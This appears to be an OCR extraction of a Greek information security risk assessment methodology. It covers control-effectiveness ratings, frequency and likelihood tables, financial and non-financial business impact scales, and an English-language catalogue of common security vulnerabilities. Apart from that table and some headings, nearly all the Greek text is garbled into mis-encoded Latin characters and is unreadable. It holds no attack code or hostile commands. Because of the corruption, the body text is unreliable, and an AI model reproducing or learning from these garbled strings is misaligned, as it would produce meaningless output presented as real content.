ELVTOOEIDV KOl TNG OMOTEAEGUATIKOTNTOG TV OKAEId®V acpaieing mov oyetilovion pe
évav mAnpooplokd mopo. H dmapén evmabeidv 1 kot aviicTpo@a ot adLuVopHeS OTIC
ducheldeg aoparsiog, avEdvouy Ty mOavOTNTO EVOG TOPEYOVTOL OTEIANG VOL EKUETOAAEVTET
TNV ELTTADELDL KOl VOL TTETOYEL TN GYETIKT EVEPYELD OTTEIANG.

Apyikd 1 opdodo a&lohdoynong Ba wpémel va aEI0OAOYNGEL TV OTOTEAEGLOTIKOTNTO TOV
VOOTAUEVOV SUKALId®V aoPaAeiog Yo KEOs avayvopiopévn ameilr] Kot vo eTAEEeL TNV
T a&loAdynong svppava pe tov [ivaxa 5. Avtd pmopet va emttevyBel péom mg ypniong
SPOP®V VPIGTAUEVOV TNYDOV OES0UEVOV KOl TANPOPOPIDV OO TOLC IOIOKTHTES
TANPOPOPIOV Ko EEIOEIKEVHIEVO, € TO OVTIKEIUEVO GTEAEYN, YPNOLLOTOIDOVIOG TOV

eVOEIKTIKO KotdAoyo svmafeimv (ITivakag 6).

[MBavég myég TANPOEOPNONG Yol ELTADEIEG KOL OMOTEASCUOTIKOTNTA  OIKAEId®V
aGQOAELNG, Vo EVOEIKTIKG O1 TOPOKATO:

o Avoopég eEAEYywV acpaleiog

e 'Eleyyol M avoapopég VIOTIoUOD EVTOOEIDOV aoPaAEiog

*  Avopopég ecmTEPKOD 1/Ko EEMTEPIKOD EAEYYOL

o Agdopéva TEPIGTATIKAOV 0GQAAElg

®  ZTUTIOTIKA 0GQOAELNG

H anoteleopotikdmro tmv SIKAEIdmV ac@aAciog aEI0A0YEITOL GE GYE LE TNV OTEIAT] KOl
mv mBavomTo peimwong e, kabdg Kot TG ELVKOMOG EKUETOAAELONG HioG evmdOelog.
Omnov o1 dwAeideg aopareiog Ogv aEI0AOYOVVTOL (OC OTTOTEAEGUOATIKEG, O GLUVOLOCHOG
ameg kot eumdBeiag Bo a&oloyndel mepartépw oe emoOpEVES PAGELS TG dlEpyasiog
a&loAdynong KivoHvav acQaAeiog TANPOPOPIBYV Kot TAEOV Ba. avapEpeTaL MG «KIVOLVOC)

N «Kivouvow.

Evépyeiec Xtadiov 3.2

e anto 10 6Tdo10 Oo TPEMEL VO dlevePYNOOVV 01 TOPUKATM EVEPYELES:
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e [Ipocdioptopndc kot aloAdynon NG AmOTEAEGUATIKOTNTAG TOV VOICTAUEVOV
ducheidwv acpaieiog mov avripeTtomilovv N meplopilovv Tig evmdbeleg, Tov
EVOEYXETOL VO EKUETOAAEVTOVV O1 OTEIAES, KABOPIGHOG TNS TIUNG 0ELOAOYNOEDG
TOVG, cVuEmva pe tov [ivaka 5, kot kataypaen g otn eopua “a&loAdynong
AmEL®V Kol EVTOOEDV”

o Emloyn piog eumaberog and tov “Katdroyo Evrnabeidv” (Ilivaxag 6) yio tnv
€V AOY® OeE\

o T dwkAeldeg acpalreiog mov £xovv agloroynBel wg «loyvpéon M «Emapkeicy,
T0 €minedo KdOVOL Oempeitanl amodEKTO KOl 08V OMAITOVVIOL TEPULTEP®
EVEPYELEC GE GYEOT E TNV €V AOY® OTEIAT|

e Agmtopepng Kataypagn e TEPLYPUENS THG EVTAOELNG TOV EYEL AVAYVOPIOTEL
KaOdE KOl TOL EVATOUEIVOVTOG EMTEGOL TOV KIVOUVOL, Aapfavovtoc vToym
TNV ATOTEAEGLOATIKOTITO TV VPIGTAUEV®V OIKAEId®V acaieiog

e H gpyacio emavorappdvetor yioo OAeg TIC VITOAOUTEG OAMEIAEG TOL E£XOVLV
avayVOPLoTEL.

g ovTO TO oNUElD OmOUTEITAL VO OTOPAGIOTEL 1) VTTOAOYIGTEL €0V TO EMIMESO KIVOLVOL
etvar amodektd, omdte M aflordynon g OwAeidag aceoleiog eivan «loyvpni» 1M
«Emoprne», a@ov AneBoldv vwoyn to VEICTAUEVO UETPA. XE MEPIMTO®ON 7OV AVTO
woyVeL, TOTE OAOKANpOVETOL M dlepyacio a&loAdynong Kvdovev ocealeiog. Xe
SLPOPETIKN TEPIMTMOT, 1 Olepyacia aSloAdynoNg KvOUVEOV AGOPAAELNS TANPOPOPLDV
cuveyiletan v T oyeTikn aneldr). Onmg kot 6Ty TponyovUEVT] OAGT], 0 VIELOVLVOC
ACQOAELOG TANPOPOPLOYV O10TNPEL TO OKOimpA Vo LETAPAAEL TOL ATOTEAEGLLOTO TG

a&loAoynong, onplOUEVOS GT O1KT| TOV EMGKOTNOT).

Amodoyn Kivovvov
Twég Meowoaon énarta omo
Kiipoaxag prypaen VOIOTApEVES
OIKAEIOES UOPUAEING
Etva 6tav 1 dikheido acpodeiog ehayiotonotel v
mOavOTTO. KoL TNV ENMinToT TeVv yeyovotov. H dudeida
Toyopi 0CQOAELOG EMITVYYAVEL TOVG GTOYOVG TNG KOl Aettovpyet Nat
omoteleoaTIKA (ONAadT £xEl oyedooTel Ko Aitovpyel
wovoromTikd). Agv evtomotikay Oépata 1 OAa To OépoTo
7OV £Y0VV eVTOMIGOEL EYOVV OVTILETOTIGOEL.
EnapKn Etvon 6tov 1 mBovotnta Kot 1) ExinTmo Tav yeyovotmv Nat
PKNS gtvon TEplopiopévn o€ amodekto emimedo. H ducheido
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ACQUAEING EMITVYYAVEL TOVG OTOYOVG TNG, EXEL OYEOIAOTEL
IKOVOTIOTIKG KOl AELTOVPYEL OTOTELEGILOTIKG TIC
nepiocdTepeg popéc. Ta Bépata mov £xovv evtomiotel
Umopel voL avTIETOTIGO0VV £0KOA KOl YpTyopa.

Etvat 6tav n amodotikdtnta g Stkheidag acpaieiog etvon
KotdTepn Tov avapevopévov. H dudieida acpodeiog
eKTEAElTON TIG TEPLETOTEPES POPEG AAAA TTOPOADL OVTE dEV
AvVETOPKNG | &ivar IKavomomTikd GYed0GUEVT KL OG EK TOVTOV Sev
mnpot to okond . Ta Bépata mov Eovv eviomiotel Egovv
N VOEYETOL VUL £XOVV ONUOVTIKEG SUCUEVELS ETTTMOCELS OTO
TEPPAALOV EAEYYOV KIVOOV®V.

Eivar 6tav 1 dikheido acpodeiog Asttovpyel arotntd
OVETOPKMG 1) Ogv &xel epappocbel. H dudkeida acpoieiog
dev €ivail IKOVOTTOMTIKAG GXEJUGHEVT Kol OEV AEITOVPYEL TIG
TEPIGGOTEPEG POPEC. VTG BEpaTo £YOVV EVTOTIOTEL
TIOL £XOLV 1] EVOEYETOL VAL EXOVV CNIUOVTIKEG SUCHEVEIS
EMNTOCELS 6TO TEPPAALOV EALYYOL KIVOUVOV.

Etvat 6tav gtvon modd ddokoro 1 akatdopBoto va viomombel
pio ducAgida acpodeiog dedopEvng TG PVGEMS TG £V AOY®
diepyaciog. Agv apopd TePTOCELS Omov pio duddeida N/A
aceorgiog Oa énpene va givon g 100 0AAA dev vILapyEL (o

TETOlEG MEPUITACELS 1) T TG a&loloyoews Bo Tpémet va

gtvar «AdHvauny).

Advvaun

Agv loyver

Mivexog 5: Twég Khipaxag A&oloynoemg Auckeidwv Acpareiog

Evnd0eieg
Lack of a formally documented or updated Inadequate security related HR practices
Information security policy
Lack of inventory of authorized and Lack of formal ownership of information assets
unauthorized devices or software
Deficient patch management or continuous Deficient information asset handling and
vulnerability assessment and remediation disposal practices
practices
Deficient malware defenses Missing or deficient physical or environmental

security controls
Deficient application data input, processing and | Security requirements are not appropriately

output validation or error checking controls addressed within system development lifecycle

Existence of security resource or skill gaps Lack of appropriate electronic messaging
integrity and confidentiality protection measures

Insecure use and control of network ports, Lack of enforced security related contractual

protocols and services requirements

Uncontrolled use of administrative privileges Inadequate facility, hardware or equipment
lifecycle support and maintenance scheme

Inherent network architecture design Lack of appropriate service level management

deficiencies and monitoring practices

Deficient audit log monitoring, analysis and Inadequate IT contingency or business

maintenance practices continuity arrangements

Excessive access rights that are not Lack of timely identification and compliance

commensurate with job function with applicable regulatory and contractual

requirements
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Deficient user account
provisioning/deprovisioning, monitoring and
control practices

Lack of appropriate intellectual property
protection measures

Inadequate password configuration and
management controls

Lack of end user training and awareness

Lack of cryptographic and other data loss
prevention and detection measures

Lack of appropriate change or configuration
control processes

Deficient incident response and management
practices

Inadequate network management and
monitoring

Unclassified or misclassified information assets

Inadequate or irregular backup or restoration

Lack of effective security organization or
assignment of responsibilities

Inadequate protection of cryptographic keys

Existence of un-remediated segregation of
duties conflicts

Inadequate segregation of production and
testing facilities

Lack of independent review or audit of
information security controls

Insufficient capacity planning and monitoring

Lack of security intelligence capabilities

Lack of facility and/or infrastructure resilience

and redundancy

IMivaxag 6: Katdloyog Evtabeidv

2.3.3.3 2raow 3.3: Kabopiouos IhBavoryrog

Q¢ ITBovémte, oto mAaiclo ™G Oepyaciog afloAdynong KwoOHVeV aGOAAELNS
TANPOPOPLAOV, OPILETON 1 EKTILMDUEVT) GLUYVOTNTO (TOOVOTNTA ELPOVIGEDS) KOTA TNV OTToiol
pio amelln evogyetan va ekpetoddevel pio advvapio 1 evmabelo mov el avayvoplotet
Kol He owTd TOV TPOMO Vo €YEL OUGLEVI] EMMIMGY OTNV EUMICTELTIKOTNTO, GTNV
axepoudTTO /Ko 6T SfecUATNTA TOV TANPOPOPLUKOD TOPOL.

«XvyvotnToy givon 1 Ty Vv ontoia B BEcel 1 Opdda AZloAoynoems, doTE VoL vIodEiEeL
1660 cuyvh Bswpeiton 0Tl Eva TEPIGTOTIKO evdéyetanl vo. cupPel. [ kédbe Kivduvo, N
Opdoa A&orloynoemg Ba vroroyilel v Ty cvyvotntag. H a&loddynon g enmtdoewmg
Kol NG ouyvOTNTOG EIVOL TEPIGCATEPO VITOKEWEVIKT TOPA OKPPNG EXTIUNGT.

Emopévamg dleg ot dobBéoipeg myéc mAnpoopldy, gite ecmTepIKés eite eEmtepikés, Oa
npénel va a&lomomBoiv dote va Ao IoTomom0el 1 VITOKEEVIKOTITA TTOV ElVOL EYYEVIG
o depyacio a&loAdynong Kivouvmv aoPIAELNS TATPOPOPIOYV Kot va emttevydein cuvoyn
™G a&OAOYNOEMS TV KIVOOVOV.

H cuyvoémra ko o1 mapdyovieg emmtdcewmy mov Bo mpénet va Anedovv v’ dym, Kot o

TN Y£EG TANPOPOPNONG ELVO Ol TOPAKATO:
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o [loAawotepa Ofpota M gvopnpota mov £yovv 1ebel amd TNV emrTpomn
AELTOVPYIKOV KIVOVVOL TOL OPYAVIGHOV, TOV E0MTEPIKO N EMTEPIKO EAEYYO
KAT.

e Buaowkoi Asikteg Kivéovoo (KRIS) ot onoiot cuyvd mapéyovv pia a&iomio
Baon yw v extipnon g MOAVOTNTOS KOl TV EMMTOGE®V €VOG 1
MEPIGGOTEPMY  YEYOVOT®Y  AEITOVPYIKOD  KIVOOVOL KOl VO TOPEYOLV
TANPOPOPIES CYETIKA LLE TIG OTiEg

o Anolewn Agdopévov (sootepikés mnyéc)/Mlarimotepa Ieprotatikd: Ot
alohoyntég ¢ a&loAdynong KwoOvev OCQAAENS TANPOMOPLOV Kol Ol
GUUUETEYOVTEG TTPEMEL Vo AdPovv vdym OAeg Tig oyetikés {nuieg amd to
16Top1Kd apyeio, mov elvar amodnkevpuéves 6To cHGTNHA KOTOYPOENS (nady

o Anolewn Agdopévov (sEotepikéc mnyéc): Mmopodv va ypnoipomoinfodv
eEOTEPIKES M/KaL OMUOCIEG TNYEC LE OTMMAELES OEOOUEVOV. XYETIKO TOGH
nuiog kot ovyvomteg pmopov emiong va ypnowomombodv ¢ onpeio
ava@opds Katd TV a&loAdynon tng cuXVOTNTAS EMITTOCEMS KIVOUVOL €VOC
TOaVOL YEYOVOTOG

o Yowrapeveg Awheides Ac@oreiog: H Opado A&oroynocemg kot ot
ovppetEyovtes Oa mpémel va AdBouvv vtoyn v aS10A0YNO TOV VPIGTOUEVOV
ouckeidv aoceareiag Kabdg emiong koL TNV OVOYVOPIGUEVN OTOAELN
OTOLOVONTOTE SIKAEIO®MV 0GQAAELNG TTOV EVOEXETAL VA EXNPEAGOVY TO GYETIKO
kivouvo

o Ilapdayovres Emyeipnoroxov Ieprifpairovroc: To dedopéva avtd etvon
péAlov meplocdtePO TOLOTIKG Topd mTosoTikd. [Tapdia avtd ot a&toroyntég
Kol ot ovppetéyovieg Ba mpémer va emdeifovv OtL Oho TAL GYETIKA
emyepnookd mepiairovia £xovv Anedei vroyn koatd v aloAdynon Twv
mBovav {nuodv Kot g suxvoTTag EVOS YEYOVOTOG

e I'vopn kov Kpion Ewwkov: Ot ofloloyntég Kot 0ol GUUUETEXOVTEG
BewpovvTol ETLYEPNOLOKOTL EUTEIPOYVMOUOVEG KOl O €K TOVTOV Oa Tpémel va
aoKOVUV TNV EMOYYEAMLOTIKY] TOVG Kpion eEacpaAilovtag T AoyikdtnTo TOV
AmOTEAECUATOV TOV THaVOY (v Kot TS 0E0A0YNoEmS TG TOavOTNTAG

€VOG YEYOVOTOG KOl
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e Allor mapayovres mov ailer va avagepBoiv: [IpocPacipdtnta tov [16pov
(OnAadn oddikTvo, OMUOCIo, 1IWTIKG), QULOIKN Tomobecia, OaPaduion
TANPOEOPLOV, pon dedopévav (ecwteptkn 1 e€mTEPIKN), APOUOS KOl TPOPIA
YPNOTOV, KAMUOKO OpACTNPOTATOV KOl  €VKOAID  O1E16000EmC Kot
EKUETAAAEVCEWG,

Mo mopdderypa, yio e6Porég oto cvomua AOY® adOvou®mV KOOKdV, 11 Opdda
A&loloynoemg Umopel vao YPNGIUOTOMGCEL G OVOPOPH EOOTOMCELS Y10, SUKTVOKES
emBécelc omd TG HETPIKEG ao@oAeiog Tov opyaviopod. Edv n Opdda A&loloynocewc
TopATNPNOEL TOAOTALS TTpooTdfeieg kGbe pépa, Ba pmopovce gbAoyo vo 600t 1 T
cvyvomtag «IToAd ITihovo.

Mia oyetikn mpocéyyon Oa mpémel va epapudletar oe 6A0LG Tovg Kivdvuvovs. Oco
VYNAOTEPN EIVOLT) TN TG GLYVOTITOS TOL KIVOUVOV, TOGO PeYaADTEPT Etvon 1) TOOVOTHTOL
VO TPOKVYEL TEPLGTATIKO.

Mia i ovyvomrtog Ba mpémel va emdeyBel amd v mpokabopiopévn KAk Tov

amekovileTon TopaKiTo:

Twég Khipoxkag . B
B Ieprypagn ocvyvétnrag

AVOQEPETAL GE TEPUTTMOGELG TOV EKINADVOVTOL TEPLOGOTEPES amd 12

Epdopadieing QOPEG TO £TOG T.Y, OO LEPIKEG POPEG TO UNvaL PEYPL Ko BSOUadIOmG.
Mipviaiog Avafpépsr’m o€ nspmt’d)crsatg OV ’EIK5T17\'L()VO\’/T(11 nsptcc(’)t'apag omo 2

(QOPEG TO £T0G Ty, O AIYES POPES TO £T0G EMG KO UNVIOHOG
Emoing AVaQEPETAL OE TEPUTTMOELS TOV EKINAMDVOVTOL Miol POPE TO £T0G
Ka0g 2-5 ¢ AvaQépeTal o8 TEPIMTMOELG TOL ekdNADVOVTOL KGBE 2-5 £

AVOQEPETAL GE TEPUTTMOGELS TTOL EKINADVOVTOL AyOTEPO Ot ot popdL
ota S ém, Ty, pic @opd kdbe 6 — 10 £m

Ieprocétepa amd 5 £t

Mivaxag 7: ITivakag Avagopds Zvyvotntog

Evépyeiec Xtadiov 3.3

e anto 10 6Tdo10 Oo TPEMEL VO SlevePYNOOVV 01 TOPUKATM EVEPYELES:
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e [IpoGOlopIGUOC TV GYETIKOV TNYOV TANPOPOPNGEMG TOV EVOEYETUL VO
Bondmoovv v Opdada A&loroyncemg va Kabopicel 1} vo EMKVPMOOEL TIC TIUEG
GLYVOTNTOG

o Yvupwva pe tov Iivaka Avapopdg Zvyvomtog (Ilivakog 7), amodidetar pia
T  ovuyxvoTNTOG Yoo KABe  KivOuvo Kol HEHOVOUEVI]  GLUVIGTOGO
(Epmotevtikdmra, Akeporotnta, Atabectpuotnta)

e H epyascio emavarapfavetot yio kdbe Kivovvo

e Yyvoiveot Kol KOTAYPOPT] TOV TILAOV cLYVOTNTOS Yo KAOE Kivduvo 6t @oOppa
“a&loAoynomng amellmv Kot evmadeimv”’

2nueioon: Orov 1oydel, n Telikn TiUn GUYVOTHTOS TOV OTOOIOETOL TIPETEL VO, OVTIKOTOTTPILEL
™MV ueYaAUTEPY amo g 2vyvomies yia. kolbe ooviorwoo. (Eumotevtixomyra, Axepoioma,

AaBeoiuotnra).

2.3.4 Xraoio 4: Avadven Emyeipnoroxaov Emnracewmy

H Avédlvon Emyepnowkov Emntocenv etvor pio dwdwascio mov &gt g Paon Tig
EMYEIPNOIOKEG  AELTOVPYIEG KOl  OTOYXELEL OTNV  OEI0AOYNON  TNG  EMUTTOGEWDG
(XPMUOTOOIKOVOLIKNG T/KO 1) OV avoUEVETOL Vo, TPoKANOel amd ™ dkvPevon g
EUTOTELTIKOTNTAG, TNG aKePUOTNTAG 1)/Kon TNG SoBecUOTNTOS EVOS TANPOPOPIKOD
mopov, M omoio opeideTor otV emrTVYNUEVT eKUETOAAEVoN piog gumdbelng amd pio
OVOLYVOPIGUEVT] OTTEIAT).

H a&ia mov mpoxvmterl and v Avdivon Emnyeipnoioxav Emmtdcemv ( v avdivon
TOV EMATOCEDV TOV KVOOUVOV) avTIKOTONTPILEL TO KOGTOG TNG ENMTAOCEMS TV KIVOOVOV
GE YPNUOTOOIKOVOLIKOVS 1/KOL TTOL0TIKOVG OPOLS. O ETIMTAOCELG TV KIVOUVOV LETPOHVTOL
pe pktd peyédn, omioon mpwv Anebel vmoym omolovdmoTte TOTMOL avaKopYM M
OVOUEVOLEVT] AGPAACTIKT KAALYT). EmutAéov, o1 enuttdoelg Tmv Kivduvmv a&loAoyovvTon
Baoel pepovopévov yeyovotmv, niadr| xpnoonoldvtag ™ Cnuic mov mpokdntel and
évol LEOVOLEVO YEYOVOG Kot Oyl TN GLVOAKY] o&ia iV 1 TapPOUOIWY YEYOVOT®MV TTOL
cupPaivovy evtog piog YPOVIKNG TEPLOSOV.

Ot emyelpnolokés emmTOcE (1 Ol EMATOCES TOV KWOOVWOV) HETPOLVIOL OE

YPNUOTOOIKOVOLKOUG T)/KoL Un ¥PMUOTootkovopikovg opovs. H a&oddynon tov un
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YPNHUOTOOIKOVOLK®DV EMMTOCEDY TPOYLUOTOTOEITOL YPNOYOTOIDOVTAS To. okOAovDa
TOLOTIKA KpLTPLOL:

o  Nopkéc emntmoelg

e Awxkonn diepyaciav kat BEpata dushertovpyiog

e  OFUaTO KOVOVIGTIKNG CLUUUOPPDOCEDG

e  Ofupato EMUNG KO TOLOTNTOS VINPECIOV

o  Ofuata acealreiog (AettovpyldV, TEAUTOV)
H a&oAdynon mg emntdoewms eivol mepIoeOTEPO VITOKEWEVIKT TTOPd akpNG XTI,
[N va ehopiotomom et  vrokeyevikdTTa Ko va, emitevy el  cuvoyn e aEI0A0YNGEMG,
1 Oudda A&lohoynoewg Oo mpénel va EETAGEL EK VEOL TOVG TTOPAYOVTES TOL OVOPEPBN KOV
oponave oto Xtédwo 3.3. “Kabopiopdg [Tibavoémtas”.
H wwn mg Avdivong Emyeipnoiokdv Emmtdcewv Oa eivor pépog tov mivako
TPOGOIOPIGUOL TV KIVOUV®V, 0 omoiog Ba mopdyst T TeMKES TYWES aE0A0YNoEWS
KvdHvov.
Avty n mpocéyylon afloroyel Tov KivOLVOo TOL amOUEVEL HETA TNV €EETOOT TNG
AMOTEAEGUATIKOTNTOG TV SIKAEIdWV ac@aieiog, mov &xovv vAomom el kon EAafe ympa
Kotd To Z1ho10 3 “A&ordymon Aneihdv kot Evobeimv”.
Agdopévov 6t 1 Avdlvon Emyeipnolokdv Emuttocewnv etvon pio emyeipnotok
dOpasTNPLOTNTO, O TANPOPOPIES IOV TTapEYoVTOL 0o Tovg IdtoktTeg ITAnpopopu®dV Kot To
OGYETIKO emyelpnolokd Tpocomkd sivon kpioes. H Opdda A&oroymoemg mpémet va
eCaoparicel 0Tl glvan og Béom va AdPet voym OAec T mOAVEG OMTIKES Ywvieg Kot
TANPoPopiec, TPOKEWEVOL Vo TapBel M KOt TO duvaTOV IO TEKUNPLOUEVT ATOPOCT).
Av16 emiong Oa dtacparicel TV Vrapén piog GCLAAOYIKNG OPYOVAOTIKNG OITOO0YS.
H Opéda A&ohoynoewc pmopet va cupovievtel m Movada Aloyelpicemg Agttovpyucon
Kwobdvov dote va armBel mepartépm emokdmmon 1| emPePfaimon TV amavIincemy mov
d0nKaY o TOV EPOTMUEVO TPV Amd TNV TEAKT EMKVPMOON TMV OMOTEAECUATWOV, EGV
VIAPYOVV EUTEPIKA OTOLYELD (TT.). 10TOPIKO (DY) oL deiyvouy OTL Ogv ametkoviovv
™V TPAyUATIKY] EKOE0T| GE KIVOLVO TG £V AOYM EMYELPNGIOKNG SLEPYAGIOG LE TPOYLLOTIKO
Ko Oikoo Tpomo.
[TBavég T yEC AvTANGTG OESOUEVAVY Y10 TV OVAALGT) ETLYEIPNCLOKADV EMITTOCEMV, UTOPEL

VoL gtvol:
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e  Doppa S1ofadong TANPOPOPLUKDOY GUGTNUATOV

o  Oopua dPdbduiong TAnpoPopLOV

o AZloAdynom AEITovpyKov Kivovvou

o Kpioweg diepyaocieg kot vo-diepyacieg oyediov EXYEPNOLOKNG GLUVEXELNG Kot
AVAALONG EMYEIPNOLOKADV EMNTTOCEDV

o Tlohawdtepeg a&loloynoelg Kivovvon

2.3.4.1 Xraoo 4.1: Ilpocowpiouos Xpyuazoowovouikwyv Emyeipyoiancyv Emnrmoswy
O1 ¥PNHOTOOIKOVOLIKEG EMTTAOGELG SvvaTat va, a&loAoynBoly o dVo emineda:

«Méon Aioy: avapépetor oty avapevopevn {nio mov puropel vo vTooTel 0 0PYUVIGHOG
KoTd T cLVNON SeEayyN TG EMYEPNGIOKNS TOL SPAGTNPIOTNTOG KOL GOLPMVO. LUE TV
OVOLEVOLEVT]  CLYXVOTNTO  TPOYLOTOTOMGEMG TOV  GLYKEKPUEVOL  KvOOVOL, dev
avtikarontpiler plo axpoio oio 1 ™ HEYIOTN YPNLOTOOIKOVOUIKY EMimT®OT mov Oa
UTOpOVGE VL TPOKOWEL VIO CUYKEKPIUEVES GLVONKEC.

«Méyotn Aioy: avapépeton otn pEyot Cnpia n ontoia Bo propovce vo TpokinOel amd
10 yeYovog Tov meptypapetat. H péyiotn aio mpénetl va givan ion 1 peyaddtepn amd
péon a&io.

O mpocdopiopds toco ™mg «Méong» 6co kar g «Meyiomeo» aiag mpayporomoteiton
YPNOOTOIDVTOS TUTTOTOUUEVEG KAMUOKES ETUTTMOGENMY Kot Oyl LELOVOUEVES aies.

Ytov  mapokdteo Ilivaka 8  @aivovior — evOSIKTIKEG  TIWEG  TPOGOOPIGHOV
YPNUOTOOIKOVOLKADV EMYEPNCLOKOV emT®cemv. Eifvar kotovontd o6t avdioyo To
péyebog tov opyaviopov petofdiAlovtol avtiotoyo ko to. voduepa. Emiong oe

neputtooelg Opihov Etapiov etvon mboavo va vdpyovy dtapopetikég {OveS TILDY ovd

gtoupia.
MOAY MMOAY
XAMHAES XAMHAEX | METPIEYX | YYHAEX YYHAES YOBAPEX

. . , , Tlocd 10 TToco 16¢ | IToocd 16 , .
Moot Cnuudg Toc6 Cnpudg 5.00C(T)]€u- ° 50.0%)1(1)2- ° 150.(§;(1)1(§L€-g Moot Cnuudg

<1.000€ 1.000€-5.000€ 50.000€ 150.000€ 500.000€ >500.000€

IMivoxag 8: EvOeiktikog TivaKog avapopac yp1UaTOOIKOVOUIK®Y ETLYEPTCLOKMY EMMTOCEDY
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Evépyeiec Xtadiov 4.1

e autd 10 6TAd10 Ba TPEMEL Vo dtevepynBoDV o1 TOPAKATM EVEPYELES:

[Ipocdlopopdc TtV VEIOTAUEVOY — amoteAecudtov g  Avdlvong
Emyepnowkov Emntdcewv (m.y. [poypappatoa Asttovpyikov Kivdovov 1
Emyeipnolokng Xovéyelog) mov propovv vo aElomotnbovy yioo Ty mopoyn
TANPOPOPLOV CYETIKMOV HE TNV 0EI0AGYNON TOV EMYEPNOOKAOV ETUTTOCEDV
(mpwv amd TIG cLVEVTEVEELS — 1} LTopovV va a&lomomBovy Yo TV EXKVPOON
™G 0EOA0YNCEMS TOL EANPONGAV KATA TN OBPKELD TMV GLUVOVTICEWDV).
Méow ovvevievéemv 1 GLVOVTNGCE®V €PYOGIOG, Ol GUUUETEYOVIES OTNV
afloAdynon  kKwobvev  acpdielag  mAnpoeopliwdv  ggetdlovv
Xpnuatootkovopukn Enintwon copemva pe tov moparndve Iivaxa 8 yio kabe
Kivouvo Kot avédoya pe TV mepinTmon

o ATm®OAEl0 TNG EUMIGTEVLTIKOTNTOG

o Amdiewn TG akepadOTNTOG

o Anmigwn ™G dadecoTnTog
H epyocio emavoroppdvetor vy  kaBe Kivouvo Kot  GLVIGTOGCW
(Epmotevtikdmra, Akepaidtnra, Atafesiotna)
Yvvaiveon kot Kotaypaen S aSlohoynoems TV XpNUOTOOKOVOUK®OV
Emntooeov  yuo  kdBe  kivdouvo kol oLVOEdEUEVY] GLUVIGTOGO
(Epmotevtikdmra, Akepoardotnra, Aobecipndotra) ot eopua “a&tordynong

omeEtA@V Kol evofsidv”.

2nypueioon: Omov 1oydel, mpokeevov vo. kobopiotel 1 ovvorky alloAdynon Twv

XPHUOTOOIKOVOLIKOV ETTTOOEDY, | UEYLVTEPY om0 Ti¢ Eumotevtiomyta, Axepoudthro,

MoBeoyotnra Xpnuorooikovouxés Emntawoeis Oo ypnoyomomnbel. Xe o0Aes g vLOL0ITES

repimraoels eivar Géuo. ou{NTNOEMS UE TOVS OUUUETEYOVTES KOI OTOLOONTOTE OTOKALON

TPETEL VO, QITIOLOVETTOL TTOL TEJLO. TV ETECHYNUOTIKDV CHUELDTEWDY THS POPUOS “‘GYedIOD

OTOKOTAOTOTNS KIVOOVWV ™.

2342 Zradw 4.2: Ilpocowopicuos Mny-Xpyuoroowkovouikeyv Emiyeipyoionay

Erminraocewy

Evépyeiec Xtadiov 4.2
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e avtd 10 6TAd10 Ba TPEMEL Vo SevepynBoDV 01 TOPAKATM EVEPYELES:

e  Emavainyn tov evepysimv Ztadiov 4.1 yia kdbe avayvopiopévo kivovvo oe

cuvaptnon pe tig Mn-Xpnpatoowovopkeés Emntdoelg ¥pnoiplomoidvtog tov

[Tivaxa 9, kot emA&yovTag T HeYOADTEPN EMIMTMOT OVA TOLOTIKY KOTHYOPidL.

2nueiowon: Omov 1oyvel, mpokeiuévov vo. kobopiotel 1 ovvolikn olloAdynon twv un-

APHUOTOOIKOVOLUK®DV ETUTTMOOEWY, N UEYOADTEPY amo Tig Eumotevtikotnta, Axepoiotyo,

AaBeoiuotnra. Mn-Xpnuozooikovouuxés Emmtawoeis Oo ypnoywornombel. Xe oles ug

VTOAOITTES TEPITTWTEIS EIval Oeua oVNTHOEWS LE TOVS CUUUETEYOVTES KOL OTOI00NTOTE

OTOKAION TPETEL VO, OUTIOAOYEITOL TTOL TEALOL TV EXECHYNUOTIKWDV THUELDTEWDY THS POPLUOG

“oyeoiov amokordoTOonS KIVODVWY ™.

Komyoples /| YAMHAEEX | METPIEX | YWHAEX | KPIZIMEZ
Emntooeg
Nopukég evépyeteg Nopukég evépyeleg | Nopués evépyeieg | Nopikég evépyeteg
KOTé TOV KOTd TOV Kot Tov Kot Tov
0pPYOVIGLOV TIOV 0pPYOVIGHOV TIOV 0PYOVIGLLOV TIOV 0pPYOVIGLLOV TIOV
EVOEYETAL VAL EVOEYETAL VAL EVOEYETOL VO EVOEYETAL VAL
EMPEPOVV MTTIES EMPEPOLV LETPLEG | empéPovY coPapés | emeépouy oA
emmtdoelg. Ot emmtdoels. Ot emntooels. Orev vymAég
EVEPYELEG OVTEG EVEPYELEG OVTEG AOY® evépyELEg OIKOVOLKEG M
TPOEPYOVTOL OTTO EVOEYETAL VAL EUTEPIEXOVLV &AAov THov
évav PéAAov LKkpod TPoEpyovToL amod pic| coPapés EMITMOOELS T.Y.-
Nopuukég apOpd TEANTAOV N opdda TEAATMV 1 OUKOVOLIKES TPOGH®PVN
GAA®V OVTIGUUBOAAOHEVOV | SLEKOIKNGELG /KoL | SLOKOT TG
OVTIGUUBOAAOLEVOY | HEPDV (T.), OLOSIKEG OTOLTOVV TN EMYELPNOLOKNG
pepov. Towg etvon ay@Y£EQ) /Ko ovvepyacio dpacTnpoTTOG.
EQIKTOC €VOlg EVOEYETAL VAL €EE10IKEVEVOV Emniong, evdéyetan
€EMOKOOTIKOG EUTEPIEYOVY VOLUK®V VoL EMPEPOVV
S10KAVOVIGUOG, OMUOVTIKES OLLPBOVAmY. VOLIKEG 1) TIOTVIKEG
OIKOVOUIKES KUPOGELS € PApog
SleKdIKNoELC. TOV TIPOCAOTIKOD 1)
™G d10iknong tov
0pPYOVIGLOV.
Awoxor Tov Awoxkor Tov Awoon| Tov Awoom| Tov
EMYEPNCLOKADV EMYEPNCLOKADV EMYEPTNCLOKADOV EMYEPNOLOKADOV
Slepyaciov 1 Slepyaciov 1 dlepyosiov 1 Slepyosiov 1
SduoAgttovpyia Tov SduoAsttovpyic mov | dvciertovpyiomov | ducAgttovpyia oe
£YEL TEPLOPIGUEVO &yl pétplo £YEL ONUOVTIKO Kploeg
Awxom) OVTIKTLTIO TNV OVTIKTLTIO TNV aVTIKTUTO TNV dpacTNPIOTNTEG
depyacidv & | enyepnolokn ETMYEPNOLOKT| EMLYELPNOLOKT| TOL OPYOVICLLOV
dvohertovpyio | ouvvéyeln Tov GULVEYELL TOV GLVEYEW. TOV (7. mov emnpedlet
0pYOVIGHOV (T, 0pYOVIGHOV (T, 0pYOVIGLOV (TT.X. TO GUVOAO TOL
emnpedlet emmpedlel emmpedlel peydo SKTLOV TV
HELOVOUEVQ, YroxataotpaTo aplopo Ymokataotnudtmy
